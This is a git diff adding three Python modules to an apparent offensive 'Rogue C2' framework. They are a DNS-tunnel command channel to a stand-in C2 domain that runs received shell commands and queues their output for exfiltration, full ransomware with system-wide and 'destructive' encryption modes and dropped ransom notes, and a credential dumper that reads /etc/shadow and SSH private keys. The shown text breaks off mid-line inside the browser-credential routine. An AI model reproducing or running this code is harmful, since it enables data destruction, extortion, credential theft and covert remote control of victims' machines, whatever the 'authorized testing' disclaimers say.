diff --git a/dnstunnel.py b/dnstunnel.py new file mode 100644 index 0000000..6eaeb0c --- /dev/null +++ b/dnstunnel.py @@ -0,0 +1,314 @@ +#!/usr/bin/env python3 +""" +PAYLOAD: DNS Tunneling Module +DESCRIPTION: Creates covert channel using DNS queries +AUTHOR: Rogue Red Team +VERSION: 2.0 +""" +import dns.resolver, dns.query, dns.message, base64, time, threading, queue +import socket, struct, json, datetime, os, sys, hashlib, random, string +from Cryptodome.Cipher import AES + +class DNSTunnel: + def __init__(self, domain="rogue-c2.example.com", mode="client", + listen_ip="0.0.0.0", listen_port=53, upstream_dns="8.8.8.8"): + self.domain = domain + self.mode = mode # "client" or "server" + self.listen_ip = listen_ip + self.listen_port = listen_port + self.upstream_dns = upstream_dns + self.encryption_key = hashlib.sha256(b'RogueDNSTunnel2024').digest() + + self.command_queue = queue.Queue() + self.response_queue = queue.Queue() + self.running = False + + self.output_dir = os.path.expanduser("~/.cache/.rogue/dns_tunnel") + os.makedirs(self.output_dir, exist_ok=True) + + def encode_data(self, data): + """Encode data for DNS subdomain""" + # Encrypt then base32 encode (base32 is DNS-safe) + cipher = AES.new(self.encryption_key, AES.MODE_EAX) + ciphertext, tag = cipher.encrypt_and_digest(data.encode()) + encrypted = cipher.nonce + tag + ciphertext + + # Base32 encode for DNS compatibility + encoded = base64.b32encode(encrypted).decode().rstrip('=') + + # Split into DNS label chunks (max 63 chars per label) + chunks = [encoded[i:i+63] for i in range(0, len(encoded), 63)] + return chunks + + def decode_data(self, encoded_data): + """Decode data from DNS subdomain""" + try: + # Reconstruct base32 string + encoded = encoded_data.upper() + # Add padding if needed + padding = (8 - len(encoded) % 8) % 8 + encoded += '=' * padding + + # Decode base32 + encrypted = base64.b32decode(encoded) + + # Decrypt + nonce, tag, ciphertext = encrypted[:16], encrypted[16:32], encrypted[32:] + cipher = AES.new(self.encryption_key, AES.MODE_EAX, nonce) + data = cipher.decrypt_and_verify(ciphertext, tag) + + return data.decode() + except Exception as e: + print(f"[!] Decode error: {e}") + return None + + def send_command(self, command): + """Send command via DNS tunnel (client side)""" + try: + # Encode command + chunks = self.encode_data(json.dumps({ + "type": "command", + "command": command, + "timestamp": datetime.datetime.now().isoformat(), + "id": hashlib.md5(command.encode()).hexdigest()[:8] + })) + + # Build domain name + domain_parts = [] + for chunk in chunks: + domain_parts.append(chunk) + + domain_parts.append(self.domain) + query_domain = '.'.join(domain_parts) + + # Send DNS query (TXT record request) + resolver = dns.resolver.Resolver() + resolver.nameservers = [self.upstream_dns] + + try: + response = resolver.resolve(query_domain, 'TXT') + # Extract response from TXT records + txt_data = [] + for rdata in response: + for txt_string in rdata.strings: + txt_data.append(txt_string.decode()) + + response_text = ''.join(txt_data) + decoded_response = self.decode_data(response_text) + + if decoded_response: + response_data = json.loads(decoded_response) + return response_data.get("response", "No response") + + except dns.resolver.NXDOMAIN: + return "NXDOMAIN - No such domain" + except dns.resolver.NoAnswer: + return "No answer from DNS" + except Exception as e: + return f"DNS query error: {e}" + + except Exception as e: + return f"[!] Send command error: {e}" + + def dns_server(self): + """Run DNS server for receiving commands""" + try: + # Create UDP socket + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.bind((self.listen_ip, self.listen_port)) + + print(f"[+] DNS server listening on {self.listen_ip}:{self.listen_port}") + + while self.running: + try: + data, addr = sock.recvfrom(512) + + # Parse DNS query + request = dns.message.from_wire(data) + + # Process each question + for question in request.question: + qname = question.name.to_text() + + # Check if it's for our domain + if self.domain in qname: + print(f"[DNS] Query from {addr[0]}: {qname}") + + # Extract encoded data from subdomain + subdomain = qname.replace(f'.{self.domain}', '') + + # Try to decode command + decoded = self.decode_data(subdomain) + if decoded: + try: + command_data = json.loads(decoded) + if command_data.get("type") == "command": + # Put command in queue for processing + self.command_queue.put({ + "command": command_data.get("command"), + "client": addr[0], + "timestamp": command_data.get("timestamp") + }) + + # Create response + response_data = { + "type": "response", + "status": "received", + "timestamp": datetime.datetime.now().isoformat() + } + + # Encode response + response_encoded = self.encode_data(json.dumps(response_data)) + response_txt = ''.join(response_encoded) + + # Build DNS response + response = dns.message.make_response(request) + answer = dns.rrset.from_text( + question.name, + 300, # TTL + 'IN', 'TXT', + f'"{response_txt}"' + ) + response.answer.append(answer) + + # Send response + sock.sendto(response.to_wire(), addr) + + except json.JSONDecodeError: + pass + + except socket.timeout: + continue + except Exception as e: + print(f"[!] DNS server error: {e}") + + except Exception as e: + print(f"[!] DNS server failed: {e}") + + def command_handler(self): + """Handle incoming commands""" + while self.running: + try: + command_data = self.command_queue.get(timeout=1) + if command_data: + print(f"[+] Received command: {command_data['command']}") + + # Execute command + import subprocess + try: + result = subprocess.check_output( + command_data['command'], + shell=True, + stderr=subprocess.STDOUT, + timeout=30 + ).decode() + except subprocess.CalledProcessError as e: + result = e.output.decode() + except subprocess.TimeoutExpired: + result = "Command timed out after 30 seconds" + + # Store result for later exfiltration + self.response_queue.put({ + "command": command_data['command'], + "result": result, + "client": command_data['client'], + "timestamp": command_data['timestamp'] + }) + + except queue.Empty: + continue + except Exception as e: + print(f"[!] Command handler error: {e}") + + def start_server(self): + """Start DNS tunnel server""" + print(f"[+] Starting DNS tunnel server for domain: {self.domain}") + self.running = True + + # Start DNS server thread + dns_thread = threading.Thread(target=self.dns_server, daemon=True) + dns_thread.start() + + # Start command handler thread + handler_thread = threading.Thread(target=self.command_handler, daemon=True) + handler_thread.start() + + try: + while self.running: + time.sleep(1) + except KeyboardInterrupt: + print("[+] Stopping DNS tunnel server...") + finally: + self.stop() + + def start_client(self, command=None): + """Start DNS tunnel client""" + if command: + # Send single command + print(f"[+] Sending command via DNS: {command}") + response = self.send_command(command) + print(f"[+] Response: {response}") + return response + else: + # Interactive mode + print(f"[+] Starting DNS tunnel client to domain: {self.domain}") + print("[+] Enter commands to send via DNS (or 'exit' to quit)") + + while True: + try: + command = input("DNS> ").strip() + if command.lower() in ['exit', 'quit']: + break + + if command: + response = self.send_command(command) + print(f"[+] Response: {response}") + + except KeyboardInterrupt: + break + except Exception as e: + print(f"[!] Error: {e}") + + def stop(self): + """Stop DNS tunnel""" + self.running = False + + def execute(self, mode=None, command=None): + """Execute DNS tunnel based on mode""" + mode = mode or self.mode + + if mode == "server": + self.start_server() + return "[+] DNS tunnel server started" + elif mode == "client": + result = self.start_client(command) + return json.dumps({"command": command, "response": result}, indent=2) + else: + return f"[!] Unknown mode: {mode}" + +def rogue_integration(): + """Wrapper for Rogue C2 integration""" + import argparse + + parser = argparse.ArgumentParser(description='Rogue DNS Tunnel') + parser.add_argument('--mode', choices=['client', 'server'], default='client', help='Tunnel mode') + parser.add_argument('--domain', default='rogue-c2.example.com', help='Domain for DNS tunnel') + parser.add_argument('--command', help='Command to execute (client mode only)') + parser.add_argument('--listen-ip', default='0.0.0.0', help='Listen IP (server mode)') + parser.add_argument('--listen-port', type=int, default=53, help='Listen port (server mode)') + parser.add_argument('--upstream-dns', default='8.8.8.8', help='Upstream DNS server (client mode)') + + args, unknown = parser.parse_known_args() + + tunnel = DNSTunnel( + domain=args.domain, + mode=args.mode, + listen_ip=args.listen_ip, + listen_port=args.listen_port, + upstream_dns=args.upstream_dns + ) + + return tunnel.execute(mode=args.mode, command=args.command) + +if __name__ == "__main__": + print(rogue_integration()) diff --git a/fileransom.py b/fileransom.py new file mode 100644 index 0000000..f1156e7 --- /dev/null +++ b/fileransom.py @@ -0,0 +1,739 @@ +#!/usr/bin/env python3 +""" +PAYLOAD: File Encryption/Decryption +DESCRIPTION: Encrypt/decrypt files with password protection with SYSTEM-WIDE encryption option +INTEGRATION: ROGUE C2 Framework - Use via trigger_fileransom +AUTHOR: Rogue Red Team +VERSION: 2.0 - Added SYSTEM_WIDE encryption +SECURITY: For authorized testing only - NEVER use for illegal activities +""" +import os, sys, hashlib, json, base64, random, string, time, argparse, shutil +from Cryptodome.Cipher import AES +from Cryptodome.Random import get_random_bytes +from Cryptodome.Protocol.KDF import PBKDF2 + +class FileEncryptor: + def __init__(self, password=None): + self.password = password or self.generate_password() + self.salt = get_random_bytes(16) + self.key = self.derive_key(self.password, self.salt) + self.encrypted_files = [] + self.decrypted_files = [] + self.target_directories = [] + + def generate_password(self, length=32): + """Generate strong password""" + chars = string.ascii_letters + string.digits + string.punctuation + return ''.join(random.choice(chars) for _ in range(length)) + + def derive_key(self, password, salt): + """Derive encryption key from password""" + return PBKDF2(password, salt, dkLen=32, count=1000000) + + def encrypt_file(self, filepath): + """Encrypt a single file""" + try: + # Skip if already encrypted + if filepath.endswith('.encrypted'): + return False + + # Skip system critical files + system_critical = [ + '/etc/passwd', '/etc/shadow', '/etc/group', + '/etc/fstab', '/etc/hosts', '/boot', + '/proc', '/sys', '/dev', '/run' + ] + + for critical in system_critical: + if filepath.startswith(critical): + print(f"[!] Skipping critical system file: {filepath}") + return False + + # Read file + with open(filepath, 'rb') as f: + plaintext = f.read() + + # Generate IV and encrypt + iv = get_random_bytes(16) + cipher = AES.new(self.key, AES.MODE_CBC, iv) + + # Pad plaintext + pad_length = 16 - (len(plaintext) % 16) + plaintext += bytes([pad_length]) * pad_length + + ciphertext = cipher.encrypt(plaintext) + + # Save encrypted file + encrypted_path = filepath + '.encrypted' + with open(encrypted_path, 'wb') as f: + f.write(iv + self.salt + ciphertext) + + # Remove original + os.remove(filepath) + + self.encrypted_files.append({ + 'original': filepath, + 'encrypted': encrypted_path, + 'timestamp': time.time(), + 'size': len(ciphertext) + }) + + return True + + except Exception as e: + print(f"[!] Failed to encrypt {filepath}: {e}") + return False + + def decrypt_file(self, encrypted_path, output_path=None): + """Decrypt a file""" + try: + if not output_path: + output_path = encrypted_path.replace('.encrypted', '') + + # Read encrypted file + with open(encrypted_path, 'rb') as f: + data = f.read() + + iv = data[:16] + salt = data[16:32] + ciphertext = data[32:] + + # Re-derive key + key = self.derive_key(self.password, salt) + + # Decrypt + cipher = AES.new(key, AES.MODE_CBC, iv) + plaintext = cipher.decrypt(ciphertext) + + # Remove padding + pad_length = plaintext[-1] + plaintext = plaintext[:-pad_length] + + # Write decrypted file + with open(output_path, 'wb') as f: + f.write(plaintext) + + # Remove encrypted file + os.remove(encrypted_path) + + self.decrypted_files.append({ + 'encrypted': encrypted_path, + 'decrypted': output_path, + 'timestamp': time.time() + }) + + return True + + except Exception as e: + print(f"[!] Failed to decrypt {encrypted_path}: {e}") + return False + + def encrypt_directory(self, directory, extensions=None, recursive=True): + """Encrypt all files in directory""" + if not extensions: + extensions = ['.txt', '.doc', '.docx', '.pdf', '.xls', '.xlsx', '.ppt', '.pptx', + '.jpg', '.jpeg', '.png', '.gif', '.bmp', '.tiff', '.psd', '.ai', + '.zip', '.tar', '.gz', '.7z', '.rar', '.bz2', '.xz', + '.sql', '.db', '.sqlite', '.mdb', '.csv', '.xml', '.json', '.yml', '.yaml', + '.py', '.js', '.html', '.htm', '.css', '.php', '.java', '.cpp', '.c', '.go', '.rs', + '.mp3', '.mp4', '.avi', '.mkv', '.mov', '.wmv', '.flv', '.wav', + '.odt', '.ods', '.odp', '.rtf', '.tex', '.md', '.log', + '.key', '.pem', '.crt', '.cer', '.p12', '.pfx', '.der'] + + encrypted_count = 0 + total_count = 0 + + if not os.path.exists(directory): + return encrypted_count, total_count + + if recursive: + walk_generator = os.walk(directory) + else: + # Non-recursive: only top-level files + walk_generator = [(directory, [], [f for f in os.listdir(directory) if os.path.isfile(os.path.join(directory, f))])] + + for root, dirs, files in walk_generator: + for file in files: + # Skip already encrypted files + if file.endswith('.encrypted'): + continue + + # Check extension + if any(file.lower().endswith(ext.lower()) for ext in extensions): + filepath = os.path.join(root, file) + total_count += 1 + + try: + if self.encrypt_file(filepath): + encrypted_count += 1 + except Exception as e: + print(f"[!] Error with {filepath}: {e}") + + return encrypted_count, total_count + + def encrypt_system_wide(self, mode="user"): + """Encrypt files system-wide based on mode""" + print(f"[+] Starting SYSTEM WIDE encryption mode: {mode}") + + if mode == "test": + # Test mode - only encrypt /tmp + self.target_directories = ["/tmp"] + + elif mode == "user": + # User files only (safer) + home = os.path.expanduser("~") + self.target_directories = [ + os.path.join(home, "Documents"), + os.path.join(home, "Downloads"), + os.path.join(home, "Desktop"), + os.path.join(home, "Pictures"), + os.path.join(home, "Music"), + os.path.join(home, "Videos"), + os.path.join(home, "Public"), + os.path.join(home, "Templates"), + ] + + elif mode == "aggressive": + # Aggressive - all user data + some system logs + home = os.path.expanduser("~") + self.target_directories = [ + os.path.join(home, "Documents"), + os.path.join(home, "Downloads"), + os.path.join(home, "Desktop"), + os.path.join(home, "Pictures"), + os.path.join(home, "Music"), + os.path.join(home, "Videos"), + os.path.join(home, "Public"), + os.path.join(home, "Templates"), + "/var/log", # System logs + "/tmp", + "/var/tmp" + ] + + elif mode == "destructive": + # DESTRUCTIVE - Encrypt everything except critical system files + # WARNING: This can break the system + print("[!] WARNING: DESTRUCTIVE MODE - This can break the system!") + print("[!] Only use in isolated test environments!") + + # Get all mounted filesystems excluding system ones + mounted_dirs = [] + try: + with open('/proc/mounts', 'r') as f: + for line in f: + parts = line.split() + if len(parts) > 1: + mount_point = parts[1] + # Skip system mounts + if mount_point not in ['/', '/boot', '/proc', '/sys', '/dev', '/run']: + mounted_dirs.append(mount_point) + except: + pass + + self.target_directories = [ + "/home", + "/root", + "/var/www", # Web directories + "/opt", + "/usr/local", + "/srv", + "/var/lib", # Application data + "/var/log", + "/tmp", + "/var/tmp" + ] + mounted_dirs + + else: + print(f"[!] Unknown mode: {mode}") + return 0, 0 + + # Filter out non-existent directories + existing_dirs = [d for d in self.target_directories if os.path.exists(d)] + print(f"[+] Found {len(existing_dirs)}/{len(self.target_directories)} target directories") + + total_encrypted = 0 + total_files = 0 + + for directory in existing_dirs: + print(f"[+] Encrypting directory: {directory}") + encrypted, total = self.encrypt_directory(directory) + total_encrypted += encrypted + total_files += total + print(f" -> Encrypted {encrypted}/{total} files") + + return total_encrypted, total_files + + def create_ransom_note(self, directory=None): + """Create README_FOR_DECRYPT.txt with instructions""" + if not directory: + directory = os.path.expanduser("~") + + note_content = f"""============================================= + YOUR FILES HAVE BEEN ENCRYPTED +============================================= + +Your important files have been encrypted with military-grade AES-256 encryption. + +To decrypt your files, you need the decryption password. + +Password: {self.password} + +============================================= + INSTRUCTIONS FOR DECRYPTION +============================================= + +1. Save this password securely +2. Run the decryption tool with this password +3. All files with .encrypted extension will be restored + +============================================= + WARNING +============================================= +- Do NOT modify or delete .encrypted files +- Do NOT attempt to decrypt without the password +- Keep this file for reference + +Generated: {time.ctime()} +Encryption ID: {hashlib.md5(self.password.encode()).hexdigest()[:8]} +Total Files Encrypted: {len(self.encrypted_files)} +=============================================""" + + note_path = os.path.join(directory, "README_FOR_DECRYPT.txt") + with open(note_path, 'w') as f: + f.write(note_content) + + # Also create recovery script + recovery_script = f"""#!/bin/bash +# Recovery script for encrypted files +echo "Starting file recovery..." +echo "Using password: {self.password}" +python3 -c " +import os, sys, hashlib, base64 +from Cryptodome.Cipher import AES +from Cryptodome.Protocol.KDF import PBKDF2 + +def derive_key(password, salt): + return PBKDF2(password, salt, dkLen=32, count=1000000) + +password = '{self.password}' +decrypted_count = 0 + +for root, dirs, files in os.walk('/'): + for file in files: + if file.endswith('.encrypted'): + filepath = os.path.join(root, file) + try: + with open(filepath, 'rb') as f: + data = f.read() + iv = data[:16] + salt = data[16:32] + ciphertext = data[32:] + key = derive_key(password, salt) + cipher = AES.new(key, AES.MODE_CBC, iv) + plaintext = cipher.decrypt(ciphertext) + pad_length = plaintext[-1] + plaintext = plaintext[:-pad_length] + output_path = filepath.replace('.encrypted', '') + with open(output_path, 'wb') as f: + f.write(plaintext) + os.remove(filepath) + decrypted_count += 1 + if decrypted_count % 100 == 0: + print(f'[+] Restored {{decrypted_count}} files...') + except Exception as e: + print(f'[!] Failed: {{filepath}} - {{e}}') + +print(f'[+] Recovery complete! Restored {{decrypted_count}} files.') +" +echo "Recovery complete!" +""" + + script_path = os.path.join(directory, "recover_files.sh") + with open(script_path, 'w') as f: + f.write(recovery_script) + os.chmod(script_path, 0o755) + + # Create desktop note for visibility + desktop = os.path.join(os.path.expanduser("~"), "Desktop") + if os.path.exists(desktop): + desktop_note = os.path.join(desktop, "YOUR_FILES_ARE_ENCRYPTED.txt") + shutil.copy(note_path, desktop_note) + + return note_path + + def execute_encryption(self, target_path=None, mode=None): + """Main encryption execution""" + try: + if mode and mode.startswith("system_"): + # System-wide encryption mode + mode_type = mode.replace("system_", "") + if mode_type not in ["test", "user", "aggressive", "destructive"]: + mode_type = "user" + + print(f"[+] Starting SYSTEM WIDE encryption: {mode_type} mode") + print(f"[+] Encryption password: {self.password}") + + encrypted, total = self.encrypt_system_wide(mode_type) + result = f"SYSTEM WIDE: Encrypted {encrypted}/{total} files across {len(self.target_directories)} directories" + + # Create ransom note in home directory + note_path = self.create_ransom_note() + print(f"[+] System-wide ransom note created: {note_path}") + + elif target_path and target_path.lower() == "all": + # Legacy "all" mode - encrypt common user directories + home = os.path.expanduser("~") + common_dirs = [ + os.path.join(home, "Documents"), + os.path.join(home, "Downloads"), + os.path.join(home, "Desktop"), + os.path.join(home, "Pictures") + ] + + total_encrypted = 0 + total_files = 0 + + for directory in common_dirs: + if os.path.exists(directory): + print(f"[+] Encrypting: {directory}") + encrypted, total = self.encrypt_directory(directory) + total_encrypted += encrypted + total_files += total + + result = f"ALL USER FILES: Encrypted {total_encrypted}/{total_files} files" + note_path = self.create_ransom_note(home) + print(f"[+] Ransom note created: {note_path}") + + elif target_path: + # Normal single directory/file encryption + print(f"[+] Starting encryption of: {target_path}") + print(f"[+] Encryption password: {self.password}") + + if os.path.isfile(target_path): + success = self.encrypt_file(target_path) + if success: + result = f"Encrypted 1/1 files" + else: + result = "Encryption failed" + else: + encrypted, total = self.encrypt_directory(target_path) + result = f"Encrypted {encrypted}/{total} files" + + # Create ransom note if directory + if os.path.isdir(target_path): + note_path = self.create_ransom_note(target_path) + print(f"[+] Ransom note created: {note_path}") + else: + # Default to user's Documents + target_path = os.path.expanduser("~/Documents") + print(f"[+] Starting encryption of: {target_path}") + print(f"[+] Encryption password: {self.password}") + + encrypted, total = self.encrypt_directory(target_path) + result = f"Encrypted {encrypted}/{total} files" + + note_path = self.create_ransom_note(target_path) + print(f"[+] Ransom note created: {note_path}") + + # Save encryption log + log_data = { + 'password': self.password, + 'salt': base64.b64encode(self.salt).decode(), + 'encrypted_files': self.encrypted_files, + 'target_directories': self.target_directories, + 'total_encrypted': len(self.encrypted_files), + 'timestamp': time.time(), + 'result': result, + 'mode': mode if mode else 'standard' + } + + log_dir = os.path.expanduser("~/.cache/.rogue") + os.makedirs(log_dir, exist_ok=True) + log_path = os.path.join(log_dir, "encryption_log.json") + + with open(log_path, 'w') as f: + json.dump(log_data, f, indent=2) + + return f"""[+] Encryption complete +{result} +[+] Password: {self.password} +[+] Mode: {mode if mode else 'standard'} +[+] Note: Password saved to {log_path}""" + + except Exception as e: + return f"[!] Encryption failed: {e}" + + def execute_decryption(self, target_path=None, password=None, mode=None): + """Main decryption execution""" + try: + if not password: + # Try to load password from log + log_path = os.path.expanduser("~/.cache/.rogue/encryption_log.json") + if os.path.exists(log_path): + with open(log_path, 'r') as f: + log_data = json.load(f) + password = log_data.get('password') + + if not password: + return "[!] No password provided and no log found" + + # Set the password + self.password = password + self.salt = get_random_bytes(16) # Will be overridden by file salt + self.key = self.derive_key(self.password, self.salt) + + print(f"[+] Starting decryption") + print(f"[+] Using password: {password[:10]}...") + + decrypted_count = 0 + total_count = 0 + + if mode == "system_wide": + # System-wide decryption - scan entire filesystem + print("[+] Scanning entire filesystem for encrypted files...") + for root, dirs, files in os.walk("/"): + # Skip system directories + if any(root.startswith(exclude) for exclude in ['/proc', '/sys', '/dev', '/run']): + continue + + for file in files: + if file.endswith('.encrypted'): + filepath = os.path.join(root, file) + total_count += 1 + + try: + if self.decrypt_file(filepath): + decrypted_count += 1 + if decrypted_count % 100 == 0: + print(f"[+] Decrypted {decrypted_count} files...") + except Exception as e: + print(f"[!] Failed to decrypt {filepath}: {e}") + else: + # Standard decryption + if not target_path: + # Look for encrypted files in common locations + possible_paths = [ + os.path.expanduser("~/Documents"), + os.path.expanduser("~/Downloads"), + os.path.expanduser("~/Desktop"), + os.path.expanduser("~/Pictures"), + "/tmp", + "/var/tmp" + ] + + for path in possible_paths: + if os.path.exists(path): + target_path = path + break + + if not target_path: + target_path = "." + + print(f"[+] Scanning: {target_path}") + for root, dirs, files in os.walk(target_path): + for file in files: + if file.endswith('.encrypted'): + filepath = os.path.join(root, file) + total_count += 1 + + try: + if self.decrypt_file(filepath): + decrypted_count += 1 + except Exception as e: + print(f"[!] Failed to decrypt {filepath}: {e}") + + # Remove ransom notes + for root, dirs, files in os.walk("/"): + for file in files: + if file == "README_FOR_DECRYPT.txt" or file == "YOUR_FILES_ARE_ENCRYPTED.txt": + try: + os.remove(os.path.join(root, file)) + except: + pass + + # Remove recovery script + for root, dirs, files in os.walk("/"): + for file in files: + if file == "recover_files.sh": + try: + os.remove(os.path.join(root, file)) + except: + pass + + return f"[+] Decryption complete: {decrypted_count}/{total_count} files restored" + + except Exception as e: + return f"[!] Decryption failed: {e}" + +# === ROGUE C2 INTEGRATION === +def rogue_integration(args=None): + """Main entry point for ROGUE C2 integration""" + if args is None: + # Parse command line arguments + parser = argparse.ArgumentParser(description='File Encryption/Decryption for ROGUE C2') + parser.add_argument('action', choices=['encrypt', 'decrypt'], help='Action to perform') + parser.add_argument('target', nargs='?', default=None, help='Target file/directory or "all" or "system_"') + parser.add_argument('--password', '-p', default=None, help='Password for decryption') + parser.add_argument('--custom-password', '-c', default=None, help='Custom password for encryption') + parser.add_argument('--mode', '-m', default=None, help='Encryption mode (system_test, system_user, system_aggressive, system_destructive)') + + args = parser.parse_args() + + if args.action == 'encrypt': + if args.custom_password: + encryptor = FileEncryptor(args.custom_password) + else: + encryptor = FileEncryptor() + + # Check if we're using system-wide encryption + if args.target and args.target.startswith("system_"): + result = encryptor.execute_encryption(mode=args.target) + elif args.mode and args.mode.startswith("system_"): + result = encryptor.execute_encryption(target_path=args.target, mode=args.mode) + else: + result = encryptor.execute_encryption(args.target) + + return result + + elif args.action == 'decrypt': + if not args.password: + return "[!] Password required for decryption. Use --password option" + + encryptor = FileEncryptor(args.password) + + # Check if we need system-wide decryption + if args.target and args.target == "system_wide": + result = encryptor.execute_decryption(mode="system_wide", password=args.password) + else: + result = encryptor.execute_decryption(args.target, args.password) + + return result + +# === For standalone testing === +def main(): + """Standalone execution for testing""" + print("=" * 60) + print("ROGUE File Encryption Payload v2.0 - SYSTEM WIDE MODES") + print("=" * 60) + print("[!] WARNING: This is a destructive payload!") + print("[!] Only use in isolated test environments!") + print("=" * 60) + + if len(sys.argv) > 1: + # Parse arguments from command line + result = rogue_integration() + print(result) + else: + # Interactive mode + print("\nSelect mode:") + print("1. Encrypt single file/directory") + print("2. Encrypt ALL user files (Documents, Downloads, Desktop, Pictures)") + print("3. Encrypt SYSTEM WIDE - Test mode (/tmp only)") + print("4. Encrypt SYSTEM WIDE - User mode (user directories only)") + print("5. Encrypt SYSTEM WIDE - Aggressive mode (user + logs)") + print("6. Encrypt SYSTEM WIDE - DESTRUCTIVE mode (WARNING: can break system)") + print("7. Decrypt files") + print("8. Decrypt SYSTEM WIDE (scan entire filesystem)") + print("9. Exit") + + choice = input("\nEnter choice (1-9): ").strip() + + if choice == '1': + target = input("Enter target file/directory [/tmp/test]: ").strip() + if not target: + target = "/tmp/test" + os.makedirs(target, exist_ok=True) + for i in range(3): + with open(os.path.join(target, f"test{i}.txt"), 'w') as f: + f.write(f"Test file {i}\n") + + encryptor = FileEncryptor() + result = encryptor.execute_encryption(target) + print(f"\n{result}") + + elif choice == '2': + print("\n[+] Encrypting ALL user files...") + encryptor = FileEncryptor() + result = encryptor.execute_encryption("all") + print(f"\n{result}") + + elif choice == '3': + print("\n[+] Encrypting SYSTEM WIDE - Test mode (/tmp only)") + encryptor = FileEncryptor() + result = encryptor.execute_encryption(mode="system_test") + print(f"\n{result}") + + elif choice == '4': + print("\n[+] Encrypting SYSTEM WIDE - User mode") + print("[+] This will encrypt user directories only") + if input("Continue? (y/n): ").lower() == 'y': + encryptor = FileEncryptor() + result = encryptor.execute_encryption(mode="system_user") + print(f"\n{result}") + else: + print("[*] Cancelled") + + elif choice == '5': + print("\n[+] Encrypting SYSTEM WIDE - Aggressive mode") + print("[+] This will encrypt user directories + system logs") + print("[!] WARNING: This may affect system operation") + if input("Continue? (y/n): ").lower() == 'y': + encryptor = FileEncryptor() + result = encryptor.execute_encryption(mode="system_aggressive") + print(f"\n{result}") + else: + print("[*] Cancelled") + + elif choice == '6': + print("\n" + "=" * 60) + print("[!] DESTRUCTIVE SYSTEM WIDE ENCRYPTION") + print("[!] WARNING: This can BREAK THE SYSTEM!") + print("[!] Only use in isolated test environments!") + print("=" * 60) + + confirm = input("\nType 'DESTROY' to confirm: ").strip() + if confirm == 'DESTROY': + encryptor = FileEncryptor() + result = encryptor.execute_encryption(mode="system_destructive") + print(f"\n{result}") + else: + print("[*] Cancelled - safety first!") + + elif choice == '7': + password = input("Enter decryption password: ").strip() + if not password: + print("[!] Password required!") + return + + target = input("Enter target path [default: current directory]: ").strip() + if not target: + target = "." + + encryptor = FileEncryptor(password) + result = encryptor.execute_decryption(target, password) + print(f"\n{result}") + + elif choice == '8': + password = input("Enter decryption password: ").strip() + if not password: + print("[!] Password required!") + return + + print("\n[!] SYSTEM WIDE DECRYPTION") + print("[!] This will scan the entire filesystem for encrypted files") + if input("Continue? (y/n): ").lower() == 'y': + encryptor = FileEncryptor(password) + result = encryptor.execute_decryption(mode="system_wide", password=password) + print(f"\n{result}") + else: + print("[*] Cancelled") + + else: + print("[*] Exiting...") + +if __name__ == "__main__": + # When run directly, use main() + main() +else: + # When imported by ROGUE C2, provide integration function + pass diff --git a/hashdump.py b/hashdump.py new file mode 100644 index 0000000..e358884 --- /dev/null +++ b/hashdump.py @@ -0,0 +1,291 @@ +#!/usr/bin/env python3 +""" +PAYLOAD: Password Hash Extraction Module +DESCRIPTION: Extract password hashes from various sources (Linux/Windows) +AUTHOR: Rogue Red Team +VERSION: 2.1 +SECURITY: This tool extracts sensitive credentials - Use only on authorized systems +""" +import os, sys, re, subprocess, json, base64, hashlib, datetime, socket, platform +import shutil, tempfile, struct, sqlite3, binascii, pwd, spwd, getpass +from Cryptodome.Cipher import AES +from Cryptodome.Protocol.KDF import PBKDF2 + +class HashDumper: + def __init__(self): + self.results = { + "system_hashes": {}, + "shadow_file": None, + "memory_dumps": [], + "browser_credentials": [], + "ssh_keys": [], + "database_dumps": [] + } + + def dump_linux_hashes(self): + """Extract Linux password hashes""" + hashes = {} + + try: + # Try to read /etc/shadow directly (requires root) + if os.getuid() == 0: + with open('/etc/shadow', 'r') as f: + shadow_content = f.read() + self.results["shadow_file"] = shadow_content + + # Parse shadow entries + for line in shadow_content.split('\n'): + if ':' in line: + parts = line.split(':') + if len(parts) >= 2 and parts[1] not in ['', '*', '!', '!!']: + hashes[parts[0]] = parts[1] + else: + # Fallback: use unshadow if available + try: + unshadow_cmd = "unshadow /etc/passwd /etc/shadow 2>/dev/null" + output = subprocess.check_output(unshadow_cmd, shell=True).decode() + for line in output.split('\n'): + if ':' in line: + parts = line.split(':') + if len(parts) >= 2 and parts[1] not in ['x', '*', '!']: + hashes[parts[0]] = parts[1] + except: + pass + + # Also get /etc/passwd for user list + with open('/etc/passwd', 'r') as f: + passwd_content = f.read() + self.results["passwd_file"] = passwd_content + + except Exception as e: + hashes["error"] = str(e) + + return hashes + + def dump_windows_hashes(self): + """Extract Windows password hashes (SAM)""" + hashes = {} + + if platform.system() == 'Windows': + try: + # Check for Mimikatz-like functionality + # This is a placeholder - actual implementation requires admin privileges + # and would use techniques like reg save or Volume Shadow Copy + pass + + except Exception as e: + hashes["error"] = f"Windows hash extraction failed: {str(e)}" + + return hashes + + def dump_memory_for_hashes(self): + """Search memory for password hashes""" + memory_dumps = [] + + try: + # Check running processes for passwords in memory + for proc in psutil.process_iter(['pid', 'name', 'cmdline']): + try: + proc_info = proc.info + # Look for processes that might have passwords + sensitive_processes = ['ssh', 'su', 'sudo', 'passwd', 'mysql', 'psql'] + if any(sp in proc_info['name'].lower() for sp in sensitive_processes): + memory_dumps.append({ + "pid": proc_info['pid'], + "name": proc_info['name'], + "cmdline": ' '.join(proc_info['cmdline']) if proc_info['cmdline'] else '' + }) + except (psutil.NoSuchProcess, psutil.AccessDenied): + continue + + except Exception as e: + memory_dumps.append({"error": str(e)}) + + return memory_dumps + + def extract_ssh_keys(self): + """Find and extract SSH keys""" + ssh_keys = [] + + try: + # Look for SSH keys in common locations + ssh_paths = [ + os.path.expanduser("~/.ssh/"), + "/root/.ssh/", + "/etc/ssh/", + "/home/*/.ssh/", + "/var/www/.ssh/" + ] + + for path_pattern in ssh_paths: + if '*' in path_pattern: + import glob + expanded_paths = glob.glob(path_pattern) + else: + expanded_paths = [path_pattern] + + for path in expanded_paths: + if os.path.exists(path): + for root, dirs, files in os.walk(path): + for file in files: + if file in ['id_rsa', 'id_dsa', 'id_ecdsa', 'id_ed25519', 'authorized_keys']: + filepath = os.path.join(root, file) + try: + with open(filepath, 'r') as f: + content = f.read() + if "PRIVATE KEY" in content or "ssh-" in content: + ssh_keys.append({ + "path": filepath, + "type": "private_key" if "PRIVATE KEY" in content else "public_key", + "content": content[:500] + "..." if len(content) > 500 else content + }) + except: + continue + + except Exception as e: + ssh_keys.append({"error": str(e)}) + + return ssh_keys + + def dump_browser_credentials(self): + """Extract credentials from browsers""" + credentials = [] + + try: + # Firefox credentials + firefox_profiles = 